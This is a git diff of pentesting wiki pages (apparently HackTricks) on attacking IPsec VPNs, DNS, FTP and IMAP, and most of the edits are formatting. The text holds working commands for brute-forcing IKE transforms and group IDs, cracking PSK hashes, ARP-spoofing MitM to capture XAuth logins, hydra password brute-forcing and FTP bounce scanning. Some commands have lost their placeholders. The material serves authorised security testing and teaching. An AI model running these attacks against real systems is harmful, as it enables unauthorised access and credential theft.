a pentester\). +As you can see in the previous response, there is a field called **AUTH** with the value **PSK**. This means that the vpn is configured using a preshared key (and this is really good for a pentester).\ **The value of the last line is also very important:** * _0 returned handshake; 0 returned notify:_ This means the target is **not an IPsec gateway**. -* _**1 returned handshake; 0 returned notify**_**:** This means the **target is configured for IPsec and is willing to perform IKE negotiation, and either one or more of the transforms you proposed are acceptable** \(a valid transform will be shown in the output\) -* _0 returned handshake; 1 returned notify:_ VPN gateways respond with a notify message when **none of the transforms are acceptable** \(though some gateways do not, in which case further analysis and a revised proposal should be tried\). +* _**1 returned handshake; 0 returned notify**_**: **This means the **target is configured for IPsec and is willing to perform IKE negotiation, and either one or more of the transforms you proposed are acceptable** (a valid transform will be shown in the output) +* _0 returned handshake; 1 returned notify:_ VPN gateways respond with a notify message when **none of the transforms are acceptable** (though some gateways do not, in which case further analysis and a revised proposal should be tried). Then, in this case we already have a valid transformation but if you are in the 3rd case, then you need to **brute-force a little bit to find a valid transformation:** @@ -58,7 +58,7 @@ First of all you need to create all the possible transformations: for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done ``` -And then brute-force each one using ike-scan \(this can take several minutes\): +And then brute-force each one using ike-scan (this can take several minutes): ```bash while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line ) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt @@ -70,30 +70,30 @@ If the brute-force didn't work, maybe the server is responding without handshake while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line ) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt ``` -Hopefully **a valid transformation is echoed back**. -You can try the **same attack** using[ **iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py). +Hopefully **a valid transformation is echoed back**.\ +You can try the** same attack** using[** iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\ You could also try to brute force transformations with **ikeforce**: ```bash ./ikeforce.py -s1 -a #-s1 for max speed ``` -![](../.gitbook/assets/image%20%2817%29.png) +![](<../.gitbook/assets/image (109).png>) -In **DH Group** also**: 14 = 2048-bit MODP** and **15 = 3072-bit -2 = HMAC-SHA = SHA1 \(in this case\). The --trans format is $Enc,$Hash,$Auth,$DH** +In **DH Group **also**: 14 = 2048-bit MODP **and **15 = 3072-bit**\ +**2 = HMAC-SHA = SHA1 (in this case). The --trans format is $Enc,$Hash,$Auth,$DH** -Cisco recommends avoidance of DH groups 1 and 2 in particular. The paper’s authors describe how it is likely that **nation states** can **decrypt** **IPsec** sessions negotiated using **weak groups** via discrete log **precomputation**. The hundreds of millions of dollars spent performing precomputation are amortised through the real-time decryption of any session using a weak group \(1,024-bit or smaller\). +Cisco recommends avoidance of DH groups 1 and 2 in particular. The paper’s authors describe how it is likely that **nation states **can **decrypt** **IPsec **sessions negotiated using **weak groups **via discrete log **precomputation**. The hundreds of millions of dollars spent performing precomputation are amortised through the real-time decryption of any session using a weak group (1,024-bit or smaller). ### Server fingerprinting -Then, you can use ike-scan to try to **discover the vendor** of the device. The tool send an initial proposal and stops replaying. Then, it will **analyze** the **time** difference **between** the received **messages** from the server and the matching response pattern, the pe tester can successfully fingerprint the VPN gateway vendor. More over, some VPN servers will use the optional **Vendor ID \(VID\) payload** with IKE. +Then, you can use ike-scan to try to **discover the vendor** of the device. The tool send an initial proposal and stops replaying. Then, it will **analyze** the **time** difference **between** the received **messages** from the server and the matching response pattern, the pe tester can successfully fingerprint the VPN gateway vendor. More over, some VPN servers will use the optional **Vendor ID (VID) payload** with IKE. -**Specify the valid transformation if needed** \(using --trans\) +**Specify the valid transformation if needed** (using --trans) If IKE discover which is the vendor it will print it: -```text +``` root@bt:~# ike-scan -M --showbackoff 172.16.21.200 Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 172.16.21.200 Main Mode Handshake returned @@ -115,29 +115,29 @@ Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 retur This can be also achieve with nmap script _**ike-version**_ -## Finding the correct ID \(group name\) +## Finding the correct ID (group name) -For being allowed to capture the hash you need a valid transformation supporting Aggressive mode and the correct ID \(group name\). -_****_You probably won't know the valid group name, so you will have to brute-force it. +For being allowed to capture the hash you need a valid transformation supporting Aggressive mode and the correct ID (group name)._** **_\ +_****_You probably won't know the valid group name, so you will have to brute-force it.\ To do so, I would recommend you 2 methods: ### Bruteforcing ID with ike-scan -First of all try to make a request with a fake ID trying to gather the hash \("-P"\): +First of all try to make a request with a fake ID trying to gather the hash ("-P"): ```bash ike-scan -P -M -A -n fakeID ``` -If **no hash is returned**, then probably this method of brute forcing **will work**. If **some** **hash** is returned, this means that a **fake hash is going to be sent** back for a fake ID, so **this method won't be reliable** to brute-force the ID. For example, a fake hash could be returned \(this happens in modern versions\): +If **no hash is returned**, then probably this method of brute forcing** will work**. If **some** **hash **is returned, this means that a **fake hash is going to be sent** back for a fake ID, so **this method won't be reliable** to brute-force the ID. For example, a fake hash could be returned (this happens in modern versions): -![](../.gitbook/assets/image%20%28291%29.png) +![](<../.gitbook/assets/image (110).png>) But if as I have said, no hash is returned, then you should try to brute-force common group names using ike-scan. -This script **will try to brute-force possible IDs** and will return the IDs where a valid handshake is returned \(this will be a valid group name\). +This script **will try to brute-force possible IDs** and will return the IDs where a valid handshake is returned (this will be a valid group name). -If you have discovered an specific transformation add it in the ike-scan command. And if you have discovered several transformations feel free to add a new loop to try them all \(you should try them all until one of them is working properly\). +If you have discovered an specific transformation add it in the ike-scan command. And if you have discovered several transformations feel free to add a new loop to try them all (you should try them all until one of them is working properly). You can use the[ dictionary of ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) or [the one in seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) of common group names to brute-force them: @@ -145,26 +145,30 @@ You can use the[ dictionary of ikeforce](https://github.com/SpiderLabs/ikeforce/ while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line ) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt ``` -Or use this dict \(is a combination of the other 2 dicts without repetitions\): +Or use this dict (is a combination of the other 2 dicts without repetitions): -{% file src="../.gitbook/assets/vpnids.txt" %} +{% file src="../.gitbook/assets/vpnIDs.txt" %} ### Bruteforcing ID with Iker -[ **iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) ****also uses **ike-scan** to bruteforce possible group names. It follows it's own method to **find a valid ID based on the output of ike-scan**. +[** iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py)** **also uses **ike-scan** to bruteforce possible group names. It follows it's own method to **find a valid ID based on the output of ike-scan**. ### Bruteforcing ID with ikeforce -[ikeforce.py](https://github.com/SpiderLabs/ikeforce) is a tool that can be used to **brute force IDs also**. This tool will **try to exploit different vulnerabilities** that could be used to **distinguish** between a **valid** and a **non-valid ID** \(could have false positives and false negatives, that is why I prefer to use the ike-scan method if possible\). +[ikeforce.py](https://github.com/SpiderLabs/ikeforce) is a tool that can be used to **brute force IDs also**. This tool will **try to exploit different vulnerabilities** that could be used to **distinguish **between a **valid **and a** non-valid ID** (could have false positives and false negatives, that is why I prefer to use the ike-scan method if possible). By default **ikeforce** will send at the beginning some random ids to check the behaviour of the server and determinate the tactic to use. -* The **first method** is to brute-force the group names by **searching** for the information **Dead Peer Detection DPD** of Cisco systems \(this info is only replayed by the server if the group name is correct\). -* The **second method** available is to **checks the number of responses sent to each try** because sometimes more packets are sent when the correct id is used. -* The **third method** consist on **searching for "INVALID-ID-INFORMATION" in response to incorrect ID**. -* Finally, if the server does not replay anything to the checks, **ikeforce** will try to brute force the server and check if when the correct id is sent the server replay with some packet. Obviously, the goal of brute forcing the id is to get the **PSK** when you have a valid id. Then, with the **id** and **PSK** you will have to bruteforce the XAUTH \(if it is enabled\). +* The **first method** is to brute-force the group names by **searching** for the information **Dead Peer Detection DPD** of Cisco systems (this info is only replayed by the server if the group name is correct).\ -If you have discovered an specific transformation add it in the ikeforce command. And if you have discovered several transformations feel free to add a new loop to try them all \(you should try them all until one of them is working properly\). +* The **second method** available is to **checks the number of responses sent to each try** because sometimes more packets are sent when the correct id is used.\ + +* The **third method** consist on **searching for "INVALID-ID-INFORMATION" in response to incorrect ID**.\ + +* Finally, if the server does not replay anything to the checks, **ikeforce** will try to brute force the server and check if when the correct id is sent the server replay with some packet.\ + Obviously, the goal of brute forcing the id is to get the **PSK** when you have a valid id. Then, with the **id** and **PSK** you will have to bruteforce the XAUTH (if it is enabled). + +If you have discovered an specific transformation add it in the ikeforce command. And if you have discovered several transformations feel free to add a new loop to try them all (you should try them all until one of them is working properly). ```bash git clone https://github.com/SpiderLabs/ikeforce.git @@ -177,13 +181,13 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library ### Sniffing ID -It is also possible to obtain valid usernames by sniffing the connection between the VPN client and server, as the first aggressive mode packet containing the client ID is sent in the clear \(from the book **Network Security Assessment: Know Your Network**\) +It is also possible to obtain valid usernames by sniffing the connection between the VPN client and server, as the first aggressive mode packet containing the client ID is sent in the clear (from the book **Network Security Assessment: Know Your Network**) -![](../.gitbook/assets/image%20%28251%29.png) +![](<../.gitbook/assets/image (111).png>) ## Capturing & cracking the hash -Finally, If you have find a **valid transformation** and the **group name** and the **aggressive mode is allowed**, then you can very easily grab the crackable hash: +Finally, If you have find a **valid transformation** and the** group name** and the **aggressive mode is allowed**, then you can very easily grab the crackable hash: ```bash ike-scan -M -A -n --pskcrack=hash.txt #If aggressive mode is supported and you know the id, you can get the hash of the passwor @@ -202,11 +206,11 @@ psk-crack -d psk.txt #To crack the hash ## **XAuth** -Most implementations use **aggressive mode IKE with a PSK to perform group authentication**, and **XAUTH** to provide additional **user authentication** \(via Microsoft Active Directory, RADIUS, or similar\). Within **IKEv2**, **EAP replaces XAUTH** to authenticate users. +Most implementations use** aggressive mode IKE with a PSK to perform group authentication**, and **XAUTH **to provide additional** user authentication** (via Microsoft Active Directory, RADIUS, or similar). Within **IKEv2**, **EAP replaces XAUTH** to authenticate users. ### Local network MitM to capture credentials -So you can capture the data of the login using _fiked_ and see if there is any default username \(You need to redirect IKE traffic to `fiked` for sniffing, which can be done with the help of ARP spoofing, [more info](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)\). Fiked will act as a VPN endpoint and will capture the XAuth credentials: +So you can capture the data of the login using _fiked_ and see if there is any default username (You need to redirect IKE traffic to `fiked` for sniffing, which can be done with the help of ARP spoofing, [more info](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked will act as a VPN endpoint and will capture the XAuth credentials: ```bash fiked -g -k testgroup:secretkey -l output.txt -d @@ -216,7 +220,7 @@ Also, using IPSec try to make a MitM attack and block all traffic to port 500, i ### Brute-forcing XAUTH username ad password with ikeforce -To brute force the **XAUTH** \(when you know a valid group name **id** and the **psk**\) you can use a username or list of usernames and a list o passwords: +To brute force the **XAUTH** (when you know a valid group name **id** and the **psk**) you can use a username or list of usernames and a list o passwords: ```bash ./ikeforce.py -b -i -u -k -w [-s 1] @@ -228,10 +232,10 @@ If you found one or several valid transforms just use them like in the previous ## Authentication with an IPSEC VPN -In Kali **VPNC** is used to establish IPsec tunnels. The **profiles** have to be located in _**/etc/vpnc/**_ ****and you can use the tool _**vpnc**_ to call them. +In Kali **VPNC **is used to establish IPsec tunnels. The **profiles **have to be located in _**/etc/vpnc/**_** **and you can use the tool _**vpnc **_to call them.\ Example taken from book **Network Security Assessment 3rd Edition**. -```text +``` root@kali:~# cat > /etc/vpnc/vpntest.conf << STOP IPSec gateway 10.0.0.250 IPSec ID vpntest @@ -254,4 +258,3 @@ root@kali:~# ifconfig tun0 ## Shodan * `port:500 IKE` - diff --git a/pentesting/pentesting-dns.md b/pentesting/pentesting-dns.md index 89f36cd7..0e958786 100644 --- a/pentesting/pentesting-dns.md +++ b/pentesting/pentesting-dns.md @@ -2,12 +2,12 @@ ## **Basic Information** -The Domain Name Systems \(DNS\) is the phonebook of the Internet. Humans access information online through domain names, like nytimes.com or espn.com. Web browsers interact through Internet Protocol \(IP\) addresses. DN S translates domain names to [IP addresses](https://www.cloudflare.com/learning/dns/glossary/what-is-my-ip-address/) so browsers can load Internet resources. +The Domain Name Systems (DNS) is the phonebook of the Internet. Humans access information online through domain names, like nytimes.com or espn.com. Web browsers interact through Internet Protocol (IP) addresses. DN S translates domain names to [IP addresses](https://www.cloudflare.com/learning/dns/glossary/what-is-my-ip-address/) so browsers can load Internet resources.\ From [here](https://www.cloudflare.com/learning/dns/what-is-dns/). **Default port:** 53 -```text +``` PORT STATE SERVICE REASON 53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1) 5353/udp open zeroconf udp-response @@ -18,7 +18,7 @@ PORT STATE SERVICE REASON ### **Banner Grabbing** -DNS does not have a "banner" to grab. The closest equivalent is a magic query for `version.bind. CHAOS TXT` which will work on most BIND nameservers. +DNS does not have a "banner" to grab. The closest equivalent is a magic query for `version.bind. CHAOS TXT` which will work on most BIND nameservers.\ You can perform this query using `dig`: ```bash @@ -29,7 +29,7 @@ If that does not work you can use fingerprinting techniques to determine the rem You can grab the banner also with a **nmap** script: -```text +``` --script dns-nsid ``` @@ -93,7 +93,7 @@ If you are able to find subdomains resolving to internal IP-addresses, you shoul Another tool to do so: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan) -You can query reverse IP ranges to [https://bgp.he.net/net/205.166.76.0/24\#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns) \(this tool is also helpful with BGP\). +You can query reverse IP ranges to [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (this tool is also helpful with BGP). ### DNS - Subdomains BF @@ -104,7 +104,7 @@ dnscan -d -r -w subdomains-1000.txt #Bruteforce subdomains in recursive ### Active Directory servers -```text +``` dig -t _gc._tcp.lab.domain.com dig -t _ldap._tcp.lab.domain.com dig -t _kerberos._tcp.lab.domain.com @@ -135,8 +135,8 @@ dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns ### DNS Recursion DDoS -If **DNS recursion is enabled**, an attacker could **spoof** the **origin** on the UDP packet in order to make the **DNS send the response to the victim server**. An attacker could abuse **ANY** or **DNSSEC** record types as they use to have the bigger responses. -The way to **check** if a DNS supports **recursion** is to query a domain name and **check** if the **flag "ra"** \(_recursion available_\) is in the response: +If **DNS recursion is enabled**, an attacker could **spoof** the **origin** on the UDP packet in order to make the **DNS send the response to the victim server**. An attacker could abuse **ANY** or **DNSSEC** record types as they use to have the bigger responses.\ +The way to **check** if a DNS supports **recursion** is to query a domain name and **check** if the **flag "ra"** (_recursion available_) is in the response: ```bash dig google.com A @ @@ -144,19 +144,19 @@ dig google.com A @ **Non available**: -![](../.gitbook/assets/image%20%28155%29.png) +![](<../.gitbook/assets/image (275).png>) **Available**: -![](../.gitbook/assets/image%20%28139%29.png) +![](<../.gitbook/assets/image (276).png>) ### Mail to nonexistent account -From book: Network Security Assessment \(3rd edition\) +From book: Network Security Assessment (3rd edition) -Simply sending an email message to a nonexistent address at a target domain often reveals useful internal network information through a _nondelivery notification_ \(NDN\). +Simply sending an email message to a nonexistent address at a target domain often reveals useful internal network information through a _nondelivery notification_ (NDN). -```text +``` Generating server: noa.nintendo.com blah@nintendo.com @@ -186,7 +186,7 @@ The following data in this transcript is useful: ## Config files -```text +``` host.conf resolv.conf named.conf @@ -194,7 +194,7 @@ named.conf ## HackTricks Automatic Commands -```text +``` Protocol_Name: DNS #Protocol Abbreviation if there is one. Port_Number: 53 #Comma separated if there is more than one. Protocol_Description: Domain Name Service #Protocol Abbreviation Spelled out @@ -239,4 +239,3 @@ Entry_5: Description: Eunuerate a DC via DNS Command: dig -t _gc._{Domain_Name} && dig -t _ldap._{Domain_Name} && dig -t _kerberos._{Domain_Name} && dig -t _kpasswd._{Domain_Name} && nmap --script dns-srv-enum --script-args "dns-srv-enum.domain={Domain_Name}" ``` - diff --git a/pentesting/pentesting-ftp/README.md b/pentesting/pentesting-ftp/README.md index 118d8cfc..a5ee5f4a 100644 --- a/pentesting/pentesting-ftp/README.md +++ b/pentesting/pentesting-ftp/README.md @@ -2,12 +2,12 @@ ## Basic Information -The **File Transfer Protocol \(FTP**\) is a standard network protocol used for the transfer of computer files between a client and server on a computer network. +The **File Transfer Protocol (FTP**) is a standard network protocol used for the transfer of computer files between a client and server on a computer network.\ It is a **plain-text** protocol that uses as **new line character `0x0d 0x0a`** so sometimes you need to **connect using `telnet`** or **`nc -C`**. **Default Port:** 21 -```text +``` PORT STATE SERVICE 21/tcp open ftp ``` @@ -23,7 +23,7 @@ openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any ### Connect to FTP using starttls -```text +``` lftp lftp :~> set ftp:ssl-force true lftp :~> set ssl:verify-certificate no @@ -37,7 +37,7 @@ lftp 10.10.10.208:~> login username Password You can us the commands `HELP` and `FEAT` to obtain some information of the FTP server: -```text +``` HELP 214-The following commands are recognized (* =>'s unimplemented): 214-CWD XCWD CDUP XCUP SMNT* QUIT PORT PASV @@ -81,9 +81,9 @@ Source: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-att ### Anonymous login -_anonymous : anonymous -anonymous : -ftp : ftp_ +_anonymous : anonymous_\ +_anonymous :_\ +_ftp : ftp_ ```bash ftp @@ -114,13 +114,13 @@ nmap --script ftp-* -p 21 ## Browser connection -You can connect to a FTP server using a browser \(like Firefox\) using a URL like: +You can connect to a FTP server using a browser (like Firefox) using a URL like: ```bash ftp://anonymous:anonymous@10.10.10.98 ``` -Note that if a **web application** is sending data controlled by a user **directly to a FTP server** you can send double URL encode `%0d%0a` \(in double URL encode this is `%250d%250a`\) bytes and make the **FTP server perform arbitrary actions**. One of this possible arbitrary actions is to download content from a users controlled server, perform port scanning or try to talk to other plain-text based services \(like http\). +Note that if a **web application** is sending data controlled by a user **directly to a FTP server** you can send double URL encode `%0d%0a` (in double URL encode this is `%250d%250a`) bytes and make the **FTP server perform arbitrary actions**. One of this possible arbitrary actions is to download content from a users controlled server, perform port scanning or try to talk to other plain-text based services (like http). ## Download all files from FTP @@ -134,8 +134,8 @@ wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all * `USER username` * `PASS password` * `HELP` The server indicates which commands are supported -* `PORT 127,0,0,1,0,80`This will indicate the FTP server to establish a connection with the IP 127.0.0.1 in port 80 \(_you need to put the 5th char as "0" and the 6th as the port in decimal or use the 5th and 6th to express the port in hex_\). -* `EPRT |2|127.0.0.1|80|`This will indicate the FTP server to establish a TCP connection \(_indicated by "2"_\) with the IP 127.0.0.1 in port 80. This command **supports IPv6**. +* `PORT 127,0,0,1,0,80`This will indicate the FTP server to establish a connection with the IP 127.0.0.1 in port 80 (_you need to put the 5th char as "0" and the 6th as the port in decimal or use the 5th and 6th to express the port in hex_). +* `EPRT |2|127.0.0.1|80|`This will indicate the FTP server to establish a TCP connection (_indicated by "2"_) with the IP 127.0.0.1 in port 80. This command **supports IPv6**. * `LIST` This will send the list of files in current folder * `APPE /path/something.txt` This will indicate the FTP to store the data received from a **passive** connection or from a **PORT/EPRT** connection to a file. If the filename exists, it will append the data. * `STOR /path/something.txt` Like `APPE` but it will overwrite the files @@ -145,7 +145,7 @@ wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all * `TYPE i` Set transfer to binary * `PASV` This will open a passive connection and will indicate the user were he can connects -![](../../.gitbook/assets/image%20%28184%29.png) +![](<../../.gitbook/assets/image (227).png>) ## FTPBounce attack @@ -153,32 +153,34 @@ Some FTP servers allow the command PORT. This command can be used to indicate to [**Learn here how to abuse a FTP server to scan ports.**](ftp-bounce-attack.md)\*\*\*\* -You could also abuse this behaviour to make a FTP server interact with other protocols. You could **upload a file containing an HTTP request** and make the vulnerable FTP server **send it to an arbitrary HTTP server** \(_maybe to add a new admin user?_\) or even upload a FTP request and make the vulnerable FTP server download a file for a different FTP server. +You could also abuse this behaviour to make a FTP server interact with other protocols. You could **upload a file containing an HTTP request** and make the vulnerable FTP server **send it to an arbitrary HTTP server** (_maybe to add a new admin user?_) or even upload a FTP request and make the vulnerable FTP server download a file for a different FTP server.\ The theory is easy: -1. **Upload the request \(inside a text file\) to the vulnerable server.** Remember that if you want to talk with another HTTP or FTP server you need to change lines with `0x0d 0x0a` -2. **Use `REST X` to avoid sending the characters you don't want to send** \(maybe to upload the request inside the file you needed to put some image header at the begging\) +1. **Upload the request (inside a text file) to the vulnerable server.** Remember that if you want to talk with another HTTP or FTP server you need to change lines with `0x0d 0x0a` +2. **Use `REST X` to avoid sending the characters you don't want to send** (maybe to upload the request inside the file you needed to put some image header at the begging) 3. **Use `PORT`to connect to the arbitrary server and service** 4. **Use `RETR`to send the saved request to the server.** Its highly probably that this **will throw an error like** _**Socket not writable**_ **because the connection doesn't last enough to send the data with `RETR`**. Suggestions to try to avoid that are: -* If you are sending an HTTP request, **put the same request one after another** until **~0.5MB** at least. Like this: +* If you are sending an HTTP request, **put the same request one after another** until **\~0.5MB** at least. Like this: -{% file src="../../.gitbook/assets/posts \(1\).txt" caption="posts.txt" %} +{% file src="../../.gitbook/assets/posts (1).txt" %} +posts.txt +{% endfile %} -* Try to **fill the request with "junk" data relative to the protocol** \(talking to FTP maybe just junk commands or repeating the `RETR`instruction to get the file\) -* Just **fill the request with a lot of null characters or others** \(divided on lines or not\) +* Try to **fill the request with "junk" data relative to the protocol** (talking to FTP maybe just junk commands or repeating the `RETR`instruction to get the file) +* Just **fill the request with a lot of null characters or others** (divided on lines or not) Anyway, here you have an [old example about how to abuse this to make a FTP server download a file from a different FTP server.](ftp-bounce-download-2oftp-file.md) ## Filezilla Server Vulnerability -**FileZilla** usually **binds** to **local** an **Administrative service** for the **FileZilla-Server** \(port 14147\). If you can create a **tunnel** from **your machine** to access this port, you can **connect** to **it** using a **blank password** and **create** a **new user** for the FTP service. +**FileZilla** usually **binds** to **local** an **Administrative service** for the **FileZilla-Server** (port 14147). If you can create a **tunnel** from **your machine** to access this port, you can **connect** to **it** using a **blank password** and **create** a **new user** for the FTP service. ## Config files -```text +``` ftpusers ftp.conf proftpd.conf @@ -186,7 +188,7 @@ proftpd.conf ## HackTricks Automatic Commands -```text +``` Protocol_Name: FTP #Protocol Abbreviation if there is one. Port_Number: 21 #Comma separated if there is more than one. Protocol_Description: File Transfer Protocol #Protocol Abbreviation Spelled out @@ -231,4 +233,3 @@ Entry_6: Description: Need Username Command: hydra -t 1 -l {Username} -P {Big_Passwordlist} -vV {IP} ftp ``` - diff --git a/pentesting/pentesting-ftp/ftp-bounce-attack.md b/pentesting/pentesting-ftp/ftp-bounce-attack.md index 6357da0f..7ad6ace1 100644 --- a/pentesting/pentesting-ftp/ftp-bounce-attack.md +++ b/pentesting/pentesting-ftp/ftp-bounce-attack.md @@ -5,25 +5,24 @@ ### Manual 1. Connect to vulnerable FTP -2. Use **`PORT`**or **`EPRT`**\(but only 1 of them\) to make it establish a connection with the _<IP:Port>_ you want to scan: +2. Use **`PORT`**or **`EPRT`**(but only 1 of them) to make it establish a connection with the_ \_ you want to scan: - `PORT 172,32,80,80,0,8080` - `EPRT |2|172.32.80.80|8080|` + `PORT 172,32,80,80,0,8080`\ + `EPRT |2|172.32.80.80|8080|` +3. Use **`LIST`**(this will just send to the connected _\_ the list of current files in the FTP folder) and check for the possible responses: `150 File status okay` (This means the port is open) or `425 No connection established` (This means the port is closed) + 1. Instead of `LIST `you could also use **`RETR /file/in/ftp`** and look for similar `Open/Close` responses. -3. Use **`LIST`**\(this will just send to the connected _<IP:Port>_ the list of current files in the FTP folder\) and check for the possible responses: `150 File status okay` \(This means the port is open\) or `425 No connection established` \(This means the port is closed\) - 1. Instead of `LIST` you could also use **`RETR /file/in/ftp`** and look for similar `Open/Close` responses. +Example Using **PORT **(port 8080 of 172.32.80.80 is open and port 7777 is closed): -Example Using **PORT** \(port 8080 of 172.32.80.80 is open and port 7777 is closed\): +![](<../../.gitbook/assets/image (225).png>) -![](../../.gitbook/assets/image%20%2885%29.png) +Same example using **`EPRT`**(authentication omitted in the image): -Same example using **`EPRT`**\(authentication omitted in the image\): +![](<../../.gitbook/assets/image (226).png>) -![](../../.gitbook/assets/image%20%28199%29.png) +Open port using `EPRT` instead of` LIST` (different env) -Open port using `EPRT` instead of `LIST` \(different env\) - -![](../../.gitbook/assets/image%20%28339%29.png) +![](<../../.gitbook/assets/image (228).png>) ### **nmap** @@ -32,4 +31,3 @@ nmap -b :@ nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443 ``` - diff --git a/pentesting/pentesting-imap.md b/pentesting/pentesting-imap.md index 861e5d14..d922d335 100644 --- a/pentesting/pentesting-imap.md +++ b/pentesting/pentesting-imap.md @@ -9,7 +9,7 @@ By default, the IMAP protocol works on two ports: * **Port 143** - this is the default IMAP non-encrypted port * **Port 993** - this is the port you need to use if you want to connect using IMAP securely -```text +``` PORT STATE SERVICE REASON 143/tcp open imap syn-ack ``` @@ -23,9 +23,9 @@ openssl s_client -connect :993 -quiet ### NTLM Auth - Information disclosure -If the server supports NTLM auth \(Windows\) you can obtain sensitive info \(versions\): +If the server supports NTLM auth (Windows) you can obtain sensitive info (versions): -```text +``` root@kali: telnet example.com 143 * OK The Microsoft Exchange IMAP4 service is ready. >> a1 AUTHENTICATE NTLM @@ -40,7 +40,7 @@ Or **automate** this with **nmap** plugin `imap-ntlm-info.nse` ## Syntax -```text +``` Login A1 LOGIN username password Values can be quoted to enclose spaces and special characters. A " must then be escape with a \ @@ -91,54 +91,52 @@ From [here](https://donsutherland.org/crib/imap) ### Evolution -```text +``` apt install evolution ``` -![](../.gitbook/assets/image%20%28477%29.png) +![](<../.gitbook/assets/image (528).png>) ### CURL Basic navigation is possible with [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), but the documentation is light on details so checking the [source](https://github.com/curl/curl/blob/master/lib/imap.c) is recommended for precise details. -1. Listing mailboxes \(imap command `LIST "" "*"`\) +1. Listing mailboxes (imap command `LIST "" "*"`) - ```bash - $ curl -k 'imaps://1.2.3.4/' --user user:pass - ``` + ```bash + $ curl -k 'imaps://1.2.3.4/' --user user:pass + ``` +2. Listing messages in a mailbox (imap command `SELECT INBOX` and then `SEARCH ALL`) -2. Listing messages in a mailbox \(imap command `SELECT INBOX` and then `SEARCH ALL`\) + ```bash + $ curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass + ``` - ```bash - $ curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass - ``` + The result of this search is a list of message indicies. - The result of this search is a list of message indicies. + Its also possible to provide more complex search terms. e.g. searching for drafts with password in mail body: - Its also possible to provide more complex search terms. e.g. searching for drafts with password in mail body: + ```bash + $ curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass + ``` - ```bash - $ curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass - ``` + A nice overview of the search terms possible is located [here](https://www.atmail.com/blog/imap-commands/). +3. Downloading a message (imap command `SELECT Drafts` and then `FETCH 1 BODY[]`) - A nice overview of the search terms possible is located [here](https://www.atmail.com/blog/imap-commands/). + ```bash + $ curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass + ``` -3. Downloading a message \(imap command `SELECT Drafts` and then `FETCH 1 BODY[]`\) + The mail index will be the same index returned from the search operation. - ```bash - $ curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass - ``` - - The mail index will be the same index returned from the search operation. - -It is also possible to use `UID` \(unique id\) to access messages, however it is less conveniant as the search command needs to be manually formatted. E.g. +It is also possible to use `UID` (unique id) to access messages, however it is less conveniant as the search command needs to be manually formatted. E.g. ```bash $ curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass $ curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass ``` -Also, possible to download just parts of a message, e.g. subject and sender of first 5 messages \(the `-v` is required to see the subject and sender\): +Also, possible to download just parts of a message, e.g. subject and sender of first 5 messages (the `-v` is required to see the subject and sender): ```bash $ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<' @@ -146,7 +144,7 @@ $ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM Although, its probably cleaner to just write a little for loop: -```text +``` for m in {1..5}; do echo $m curl "imap://1.2.3.4/INBOX;MAILINDEX=$m;SECTION=HEADER.FIELDS%20(SUBJECT%20FROM)" --user user:pass @@ -160,7 +158,7 @@ done ## HackTricks Automatic Commands -```text +``` Protocol_Name: IMAP #Protocol Abbreviation if there is one. Port_Number: 143,993 #Comma separated if there is more than one. Protocol_Description: Internet Message Access Protocol #Protocol Abbreviation Spelled out @@ -183,4 +181,3 @@ Entry_3: Description: Banner Grab 993 Command: openssl s_client -connect {IP}:993 -quiet ``` - diff --git 